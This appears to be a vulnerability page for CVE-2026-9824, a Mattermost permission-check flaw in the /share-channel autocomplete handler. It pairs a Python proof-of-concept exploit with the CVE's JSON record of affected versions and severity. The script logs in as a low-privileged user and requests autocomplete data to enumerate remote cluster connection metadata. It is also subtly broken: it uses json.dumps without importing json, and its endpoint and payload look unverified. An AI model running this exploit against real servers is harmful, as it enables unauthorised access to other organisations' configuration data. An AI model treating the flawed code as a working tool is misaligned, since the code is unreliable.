CVE-2026-9824

# CVE-2026-9824 PoC - Mattermost Share-Channel Autocomplete Permission Bypass # This PoC demonstrates how a low-privileged authenticated user can enumerate # remote cluster connection metadata via the /share-channel autocomplete handler # without possessing the manage_shared_channels permission. import requests # Mattermost server configuration MATTERMOST_URL = "https://your-mattermost-instance.com" USERNAME = "low_privileged_user" PASSWORD = "user_password" # Step 1: Authenticate to obtain a session token session = requests.Session() login_url = f"{MATTERMOST_URL}/api/v4/users/login" login_data = { "login_id": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) token = response.headers.get("Token") if not token: print("[-] Authentication failed") exit(1) print(f"[+] Authenticated successfully. Token: {token[:20]}...") # Step 2: Trigger the /share-channel autocomplete handler # The vulnerability exists because the server fails to check # the manage_shared_channels permission before returning remote # cluster connection metadata. autocomplete_url = f"{MATTERMOST_URL}/api/v4/commands/autocomplete" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Send autocomplete request for /share-channel command payload = { "channel_id": "any_channel_id", "team_id": "target_team_id", "command": "/share-channel", "args": "", "query": "" } response = session.post(autocomplete_url, json=payload, headers=headers) if response.status_code == 200: data = response.json() print("[+] Autocomplete response received (permission check bypassed!):") print(json.dumps(data, indent=2)) # Extract remote cluster connection metadata for suggestion in data.get("suggestions", []): if "remote" in suggestion.get("Suggestion", "").lower(): print(f"[+] Leaked remote cluster info: {suggestion}") else: print(f"[-] Request failed with status: {response.status_code}") # Note: In a patched version, this request should return a permission # denied error (403) for users without manage_shared_channels permission.

{"cve": {"id": "CVE-2026-9824", "sourceIdentifier": "[email protected]", "published": "2026-07-13T11:16:28.317", "lastModified": "2026-07-13T17:01:11.600", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.7.x <= 11.7.2, 11.6.x <= 11.6.4, 10.11.x <= 10.11.19 fail to check the manage_shared_channels permission in the /share-channel autocomplete handler, which allows an authenticated user without that permission to enumerate configured remote cluster connection metadata via slash command autocomplete.. Mattermost Advisory ID: MMSA-2026-00676"}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Mattermost", "product": "Mattermost", "defaultStatus": "unaffected", "versions": [{"version": "11.7.0", "lessThanOrEqual": "11.7.2", "versionType": "semver", "status": "affected"}, {"version": "11.6.0", "lessThanOrEqual": "11.6.4", "versionType": "semver", "status": "affected"}, {"version": "10.11.0", "lessThanOrEqual": "10.11.19", "versionType": "semver", "status": "affected"}, {"version": "11.8.0", "status": "unaffected"}, {"version": "11.7.3", "status": "unaffected"}, {"version": "11.6.5", "status": "unaffected"}, {"version": "10.11.20", "status": "unaffected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-07-13T13:10:30.276593Z", "id": "CVE-2026-9824", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}